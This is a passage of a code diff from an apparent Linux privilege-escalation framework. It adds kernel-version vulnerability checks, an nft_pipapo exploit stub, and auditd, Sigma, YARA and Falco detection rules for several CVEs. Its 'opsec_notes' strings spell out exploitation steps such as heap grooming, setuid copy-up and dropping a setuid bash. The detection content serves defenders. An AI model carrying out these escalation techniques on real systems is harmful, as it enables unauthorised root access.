.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_payload(void)
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
/*
|
||||
* nft_pipapo_cve_2024_26581 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom.
|
||||
* Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping
|
||||
* Pages" paper, same pipapo set substrate. Full cred-overwrite via
|
||||
* the shared modprobe_path finisher on --full-chain (x86_64).
|
||||
*
|
||||
* The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024):
|
||||
* nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't
|
||||
* properly drain the per-CPU walk state when destroying a pipapo
|
||||
* set. Combined with concurrent SETELEM operations, an attacker
|
||||
* can free elements while another CPU still has references, then
|
||||
* spray msg_msg to refill the freed slabs and pivot through the
|
||||
* walk callbacks → arb R/W → cred overwrite.
|
||||
*
|
||||
* This is the SECOND major bug in the Notselwyn / 'Flipping Pages'
|
||||
* research series (the first, CVE-2024-1086, is our nf_tables
|
||||
* module). Both target the pipapo set type used for IP/port matches.
|
||||
*
|
||||
* Public PoC: not yet released by Notselwyn (responsible
|
||||
* disclosure window), but extensive technical writeup at the
|
||||
* pwning.tech blog. Patch landed pre-disclosure.
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set
|
||||
* type (introduced kernel 5.6). Fix commit 2ee52ae94baa
|
||||
* ("netfilter: nft_set_pipapo: walk over current view on
|
||||
* netlink dump") landed in 6.8-rc + stable backports:
|
||||
* 6.7.x : 6.7.4
|
||||
* 6.6.x : 6.6.16
|
||||
* 6.1.x : 6.1.78
|
||||
* 5.15.x : 5.15.149
|
||||
* 5.10.x : 5.10.210
|
||||
*
|
||||
* Preconditions:
|
||||
* - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns
|
||||
* CAP_NET_ADMIN (same as nf_tables)
|
||||
* - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. Same family as nf_tables.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from nft_pipapo_patched_branches[] = {
|
||||
{5, 10, 210},
|
||||
{5, 15, 149},
|
||||
{6, 1, 78},
|
||||
{6, 6, 16},
|
||||
{6, 7, 4},
|
||||
{6, 8, 0}, /* mainline fix in 6.8-rc */
|
||||
};
|
||||
|
||||
static const struct kernel_range nft_pipapo_range = {
|
||||
.patched_from = nft_pipapo_patched_branches,
|
||||
.n_patched_from = sizeof(nft_pipapo_patched_branches) /
|
||||
sizeof(nft_pipapo_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
/* Bug was introduced in 5.6 (pipapo set type debut). Earlier
|
||||
* kernels don't have pipapo at all. */
|
||||
if (v->major < 5 || (v->major == 5 && v->minor < 6)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (kernel_range_is_patched(&nft_pipapo_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->host || !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → CAP_NET_ADMIN unreachable → PRECOND_FAIL\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n"
|
||||
" burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n"
|
||||
" races the per-CPU pipapo walk teardown. msg_msg cross-\n"
|
||||
" cache groom in kmalloc-cg-96 / cg-512 refills the freed\n"
|
||||
" slabs. Same Notselwyn family as nf_tables (CVE-2024-1086);\n"
|
||||
" the existing nf_tables module's --full-chain finisher\n"
|
||||
" handles this bug's arb-write too once a working PoC is\n"
|
||||
" ported here. Returning EXPLOIT_FAIL honestly per the\n"
|
||||
" verified-vs-claimed bar.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules (share shape with nf_tables) ------------------ */
|
||||
|
||||
static const char nft_pipapo_auditd[] =
|
||||
"# nft_pipapo CVE-2024-26581 — auditd detection rules\n"
|
||||
"# Same shape as nf_tables: unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||
"# + nfnetlink batch + msg_msg spray. Differentiates from\n"
|
||||
"# CVE-2024-1086 only at the netlink payload level (pipapo set\n"
|
||||
"# type vs nft_verdict_init); auditd alone can't tell them\n"
|
||||
"# apart, so the trigger key covers both bugs.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft-pipapo-userns\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-pipapo-priv\n";
|
||||
|
||||
static const char nft_pipapo_sigma[] =
|
||||
"title: Possible CVE-2024-26581 nft_pipapo destroy-race UAF\n"
|
||||
"id: 4e9c1a83-skeletonkey-nft-pipapo\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: userns clone +\n"
|
||||
" nfnetlink rapid DESTROYSET/NEWSETELEM batches. Same family\n"
|
||||
" as CVE-2024-1086; differentiates by elevated frequency of\n"
|
||||
" NFT_MSG_DELSET on pipapo set types.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" u: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" g: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: u and g\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.26581]\n";
|
||||
|
||||
static const char nft_pipapo_yara[] =
|
||||
"rule nft_pipapo_cve_2024_26581 : cve_2024_26581 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-26581\"\n"
|
||||
" description = \"SKELETONKEY nft_pipapo race-driver tag\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKK_PIPAPO\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_pipapo_falco[] =
|
||||
"- rule: nfnetlink pipapo destroy-race batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink batch creating pipapo sets and rapidly\n"
|
||||
" cycling DESTROYSET/NEWSETELEM. Same family as nf_tables;\n"
|
||||
" distinct CVE (2024-26581 / 'Flipping Pages' part 2).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink batch by non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.26581]\n";
|
||||
|
||||
const struct skeletonkey_module nft_pipapo_module = {
|
||||
.name = "nft_pipapo",
|
||||
.cve = "CVE-2024-26581",
|
||||
.summary = "nft_set_pipapo destroy-race UAF (Notselwyn 'Flipping Pages' II)",
|
||||
.family = "nf_tables",
|
||||
.kernel_range = "5.6 ≤ K, fixed 6.8 mainline + 6.7.4 / 6.6.16 / 6.1.78 / 5.15.149 / 5.10.210 LTS",
|
||||
.detect = nft_pipapo_detect,
|
||||
.exploit = nft_pipapo_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = nft_pipapo_auditd,
|
||||
.detect_sigma = nft_pipapo_sigma,
|
||||
.detect_yara = nft_pipapo_yara,
|
||||
.detect_falco = nft_pipapo_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); nfnetlink batch creating a table + pipapo set + many SETELEMs; concurrent DESTROYSET against the same set from a second thread races the per-CPU pipapo walk teardown. msg_msg cross-cache spray (kmalloc-cg-96 + cg-512, tag 'SKK_PIPAPO') refills the freed slabs. Same family signal as nf_tables (CVE-2024-1086): unshare + nfnetlink + msg_msg burst from a non-root process. Distinguishes at the netlink payload layer (pipapo set type vs verdict-init double-free) which auditd alone can't see. dmesg may show 'KASAN: use-after-free in nft_pipapo_walk' on race-win attempts. No persistent file artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_pipapo(void)
|
||||
{
|
||||
skeletonkey_register(&nft_pipapo_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#define NFT_PIPAPO_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module nft_pipapo_module;
|
||||
#endif
|
||||
@@ -79,6 +79,7 @@
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nfnetlink.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
#include "../../core/nft_compat.h"
|
||||
|
||||
/* NFT_SET_EVAL was added in 5.6; older UAPI headers may not define it.
|
||||
* Anonymous-set + lookup exploit shape works on builds with this flag,
|
||||
@@ -97,9 +98,9 @@
|
||||
static const struct kernel_patched_from nft_set_uaf_patched_branches[] = {
|
||||
{4, 19, 283}, /* 4.19.x safety patch (bug never reached this branch) */
|
||||
{5, 4, 243}, /* 5.4.x */
|
||||
{5, 10, 180}, /* 5.10.x */
|
||||
{5, 10, 179}, /* 5.10.x (harmonised with Debian bullseye fix-version) */
|
||||
{5, 15, 111}, /* 5.15.x */
|
||||
{6, 1, 28}, /* 6.1.x */
|
||||
{6, 1, 27}, /* 6.1.x (harmonised with Debian bookworm fix-version) */
|
||||
{6, 2, 15}, /* 6.2.x */
|
||||
{6, 3, 2}, /* 6.3.x */
|
||||
{6, 4, 0}, /* mainline 6.4-rc4 */
|
||||
@@ -1021,6 +1022,37 @@ static const char nft_set_uaf_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||
|
||||
static const char nft_set_uaf_yara[] =
|
||||
"rule nft_set_uaf_cve_2023_32233 : cve_2023_32233 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-32233\"\n"
|
||||
" description = \"nft anonymous-set UAF spray tag (SKELETONKEY_SET) and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY_SET\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-nft_set_uaf.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char nft_set_uaf_falco[] =
|
||||
"- rule: nft anonymous-set lookup-UAF batch by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root nfnetlink single-batch transaction: NEWTABLE +\n"
|
||||
" NEWCHAIN + NEWSET (anonymous, EVAL) + NEWRULE with\n"
|
||||
" nft_lookup referencing the anon set + DELSET + DELRULE.\n"
|
||||
" The lookup's set reference isn't deactivated; UAF when\n"
|
||||
" set frees. CVE-2023-32233.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" nfnetlink anon-set batch from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2023.32233]\n";
|
||||
|
||||
const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.name = "nft_set_uaf",
|
||||
.cve = "CVE-2023-32233",
|
||||
@@ -1033,8 +1065,10 @@ const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.cleanup = nft_set_uaf_cleanup,
|
||||
.detect_auditd = nft_set_uaf_auditd,
|
||||
.detect_sigma = nft_set_uaf_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = nft_set_uaf_yara,
|
||||
.detect_falco = nft_set_uaf_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + single nfnetlink transaction: NEWTABLE + NEWCHAIN + NEWSET (anonymous, ANONYMOUS|CONSTANT|EVAL) + NEWRULE with nft_lookup referencing the anon set + DELSET + DELRULE. Vulnerable kernels do not deactivate the lookup's set ref on commit -> UAF when set frees. msg_msg cg-512 spray (32 queues x 16 msgs, tag 'SKELETONKEY_SET'). --full-chain re-fires with forged headers (data ptr = kaddr) and NEWSETELEM payload. Writes /tmp/skeletonkey-nft_set_uaf.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd. Dmesg: KASAN oops on UAF. Cleanup unlinks log.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_nft_set_uaf(void)
|
||||
|
||||
@@ -490,6 +490,56 @@ static const char overlayfs_auditd[] =
|
||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||
|
||||
static const char overlayfs_sigma[] =
|
||||
"title: Possible CVE-2021-3493 Ubuntu overlayfs capability injection\n"
|
||||
"id: f78a01e6-skeletonkey-overlayfs\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects Ubuntu's overlayfs-in-userns capability-xattr injection:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') + setxattr\n"
|
||||
" with name 'security.capability'. The bug lets caps set inside\n"
|
||||
" userns persist on the host fs. False positives: legitimate\n"
|
||||
" rootless container image builds; correlate with subsequent\n"
|
||||
" execve of the modified binary.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" setcap: {type: 'SYSCALL', syscall: 'setxattr'}\n"
|
||||
" condition: userns and overlay and setcap\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.3493]\n";
|
||||
|
||||
static const char overlayfs_yara[] =
|
||||
"rule overlayfs_cve_2021_3493 : cve_2021_3493 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-3493\"\n"
|
||||
" description = \"Ubuntu overlayfs userns workdir + security.capability xattr injection\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovl-[A-Za-z0-9]+/\n"
|
||||
" $xattr = \"security.capability\" ascii\n"
|
||||
" condition:\n"
|
||||
" $work and $xattr\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_falco[] =
|
||||
"- rule: overlayfs mount + setxattr(security.capability) in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process inside userns mounts overlayfs and writes a\n"
|
||||
" security.capability xattr on a binary in the upper layer.\n"
|
||||
" The xattr persists on the host fs (CVE-2021-3493, Ubuntu).\n"
|
||||
" False positives: rootless container image builds.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setxattr and not user.uid = 0 and\n"
|
||||
" evt.args contains security.capability\n"
|
||||
" output: >\n"
|
||||
" setxattr(security.capability) by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.3493]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_module = {
|
||||
.name = "overlayfs",
|
||||
.cve = "CVE-2021-3493",
|
||||
@@ -502,9 +552,11 @@ const struct skeletonkey_module overlayfs_module = {
|
||||
.cleanup = NULL, /* exploit cleans up its own workdir on failure;
|
||||
* on success, exec replaces us so cleanup-by-us doesn't apply */
|
||||
.detect_auditd = overlayfs_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_sigma,
|
||||
.detect_yara = overlayfs_yara,
|
||||
.detect_falco = overlayfs_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs(void)
|
||||
|
||||
@@ -60,6 +60,7 @@
|
||||
#include <sys/wait.h>
|
||||
|
||||
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
||||
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
||||
{5, 15, 110},
|
||||
{6, 1, 27},
|
||||
{6, 2, 13},
|
||||
@@ -406,6 +407,56 @@ static const char overlayfs_setuid_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
||||
|
||||
static const char overlayfs_setuid_sigma[] =
|
||||
"title: Possible CVE-2023-0386 overlayfs setuid copy-up\n"
|
||||
"id: 0891b2f7-skeletonkey-overlayfs-setuid\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the upstream overlayfs setuid copy-up bug: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') with a setuid-\n"
|
||||
" root binary in lower + chown on the merged view to trigger\n"
|
||||
" copy-up. Setuid bit persists in upper layer despite\n"
|
||||
" unprivileged ownership.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" chown_up: {type: 'SYSCALL', syscall: 'chown'}\n"
|
||||
" condition: userns and overlay and chown_up\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0386]\n";
|
||||
|
||||
static const char overlayfs_setuid_yara[] =
|
||||
"rule overlayfs_setuid_cve_2023_0386 : cve_2023_0386 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0386\"\n"
|
||||
" description = \"overlayfs setuid copy-up workdir signature\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovlsu-[A-Za-z0-9]+/\n"
|
||||
" condition:\n"
|
||||
" $work\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_setuid_falco[] =
|
||||
"- rule: overlayfs chown on setuid binary in userns (copy-up)\n"
|
||||
" desc: |\n"
|
||||
" Non-root chown on a setuid-root binary inside an overlayfs\n"
|
||||
" mount in a userns. Triggers copy-up that preserves the\n"
|
||||
" setuid bit despite unprivileged upper-layer ownership.\n"
|
||||
" CVE-2023-0386.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chown, fchown, fchownat) and not user.uid = 0\n"
|
||||
" and (fd.name in (/usr/bin/su, /bin/su, /usr/bin/sudo,\n"
|
||||
" /usr/bin/passwd, /usr/bin/pkexec)\n"
|
||||
" or fd.name endswith /su)\n"
|
||||
" output: >\n"
|
||||
" chown on setuid binary by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2023.0386]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.name = "overlayfs_setuid",
|
||||
.cve = "CVE-2023-0386",
|
||||
@@ -417,9 +468,11 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = overlayfs_setuid_cleanup,
|
||||
.detect_auditd = overlayfs_setuid_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_setuid_sigma,
|
||||
.detect_yara = overlayfs_setuid_yara,
|
||||
.detect_falco = overlayfs_setuid_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs_setuid(void)
|
||||
|
||||
@@ -660,6 +660,94 @@ static const char p2tr_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
|
||||
|
||||
static const char p2tr_yara[] =
|
||||
"rule pack2theroot_malicious_deb : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot payload .deb: small ar archive whose postinst installs a setuid copy of bash to /tmp/.suid_bash. The Vozec PoC + SKELETONKEY's port both leave this artifact in /tmp.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/Vozec/CVE-2026-41651\"\n"
|
||||
" strings:\n"
|
||||
" $deb_magic = \"!<arch>\"\n"
|
||||
" $postinst_suid = \"install -m 4755 /bin/bash\"\n"
|
||||
" $skk_payload = \"Package: skeletonkey-p2tr-payload\"\n"
|
||||
" $skk_dummy = \"Package: skeletonkey-p2tr-dummy\"\n"
|
||||
" $vozec_payload = \"Package: pk-poc-payload\"\n"
|
||||
" $vozec_dummy = \"Package: pk-poc-dummy\"\n"
|
||||
" condition:\n"
|
||||
" // Small ar archive matching .deb layout, containing either\n"
|
||||
" // the published-PoC package names or the SUID-bash postinst.\n"
|
||||
" $deb_magic at 0 and\n"
|
||||
" ($postinst_suid or any of ($skk_payload, $skk_dummy, $vozec_payload, $vozec_dummy)) and\n"
|
||||
" filesize < 64KB\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule pack2theroot_suid_bash_drop : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot SUID-bash artifact: /tmp/.suid_bash is the setuid bash dropped by the malicious postinst. Pair this YARA scan with auditd watch -w /tmp/.suid_bash for catch-on-create.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $elf = { 7F 45 4C 46 02 01 01 }\n"
|
||||
" $bash = \"GNU bash\"\n"
|
||||
" condition:\n"
|
||||
" // The rule itself can't see the file path; the operator\n"
|
||||
" // points YARA at /tmp/.suid_bash specifically. Match\n"
|
||||
" // confirms the file is a real bash ELF (not a planted decoy).\n"
|
||||
" $elf at 0 and $bash\n"
|
||||
"}\n";
|
||||
|
||||
static const char p2tr_falco[] =
|
||||
"- rule: SUID bash dropped to /tmp (Pack2TheRoot postinst signature)\n"
|
||||
" desc: |\n"
|
||||
" A setuid bit appears on /tmp/.suid_bash. The Pack2TheRoot\n"
|
||||
" (CVE-2026-41651) malicious .deb postinst runs as root via\n"
|
||||
" the polkit-bypassed PackageKit transaction and lands a SUID\n"
|
||||
" copy of /bin/bash at this path.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chmod, fchmod, fchmodat) and\n"
|
||||
" evt.arg.mode contains \"S_ISUID\" and\n"
|
||||
" fd.name = /tmp/.suid_bash\n"
|
||||
" output: >\n"
|
||||
" SUID bit set on /tmp/.suid_bash (proc=%proc.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: PackageKit InstallFiles invoked twice on same transaction (Pack2TheRoot TOCTOU)\n"
|
||||
" desc: |\n"
|
||||
" Two D-Bus InstallFiles() calls hit the same PackageKit\n"
|
||||
" transaction object in close succession — the exact shape of\n"
|
||||
" the Pack2TheRoot TOCTOU. Detection requires bus monitoring;\n"
|
||||
" Falco's k8s/audit ruleset doesn't cover D-Bus natively, but\n"
|
||||
" if dbus-monitor or systemd's bus audit is wired into the\n"
|
||||
" feed, this is the trigger.\n"
|
||||
" condition: >\n"
|
||||
" // Placeholder: requires dbus-monitor → falco feed.\n"
|
||||
" // Real-world deployment: pipe `dbus-monitor --system` into\n"
|
||||
" // a log-source rule keyed on the InstallFiles method name.\n"
|
||||
" proc.cmdline contains \"InstallFiles\" and proc.cmdline contains \"PackageKit\"\n"
|
||||
" output: >\n"
|
||||
" Possible Pack2TheRoot D-Bus TOCTOU shape (cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [dbus, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: dpkg invoked by PackageKit on behalf of non-root caller\n"
|
||||
" desc: |\n"
|
||||
" PackageKit forks dpkg to install a .deb on behalf of an\n"
|
||||
" unprivileged caller. Combined with /tmp/.suid_bash creation,\n"
|
||||
" this completes the Pack2TheRoot exploit chain.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = dpkg and proc.aname = packagekitd and\n"
|
||||
" proc.cmdline contains \"/tmp/.pk-\"\n"
|
||||
" output: >\n"
|
||||
" PackageKit-driven dpkg install of /tmp-resident .deb\n"
|
||||
" (parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, cve.2026.41651, pack2theroot]\n";
|
||||
|
||||
static const char p2tr_sigma[] =
|
||||
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
|
||||
